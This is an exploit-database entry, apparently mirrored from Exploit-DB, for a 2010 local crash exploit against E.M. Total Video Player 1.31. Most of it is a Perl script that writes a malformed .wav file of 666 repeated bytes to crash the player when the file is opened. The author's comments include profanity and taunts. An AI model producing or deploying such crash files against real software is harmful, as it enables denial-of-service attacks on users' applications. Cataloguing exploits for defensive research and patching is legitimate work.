E.M. Total Video Player V1.31 (.wav) Local Crash Exploit

vendor:

Total Video Player

by:

v3n0m

7,5

CVSS

HIGH

Local Crash Exploit

N/A

CWE

Product Name: Total Video Player

Affected Version From: 1.31

Affected Version To: 1.31

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2010

E.M. Total Video Player V1.31 (.wav) Local Crash Exploit

This exploit is a local crash exploit for E.M. Total Video Player V1.31. It creates a malicious .wav file with a length of 666 bytes, which when loaded into the player, causes it to crash. This exploit was discovered by v3n0m in February 2010.

Mitigation:

N/A

Source

Exploit-DB raw data:

#!/usr/bin/perl

# E.M. Total Video Player V1.31 (.wav) Local Crash Exploit
# Author	: v3n0m
# Site		: http://yogyacarderlink.web.id/
# group		: YOGYACARDERLINK
# Date		: February, 22-2010 [INDONESIA]
# Software	: E.M. Total Video Player
# Version	: 1.31 Other versions may also be affected
# Download	: http://www.effectmatrix.com/total-video-player/index.htm
# Greetz	: All Yogyacarderlink Crew
# Special Greetz: LeQhi (Happy b'day to you),eidelweiss,mywisdom,GheMaX,m4rco
# Fuck to	: Yg suka nyebar bugs,tapi ga ngerti cara nyari bugs -__-"
#		  Sekarang gw tunjukin ke lo begini caranya !! fuck lamer troll !!
print "|----------------------------------------------------|\n";
print "| E.M. Total Video Player (.wav) Local Crash Exploit |\n";
print "| Created  : v3n0m                                   |\n";
print "| E-mail   : v3n0m666[at]live[dot]com                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
print " Usage: Run this c0de, load file and bo0om!!\n\n";
my $fuck = "\x41" x 666;
my $file = "lamerz.wav";
open (FILE,">$file") or die "[!]Cannot open file";
print FILE "$fuck";
print "\nFile successfully created!\n";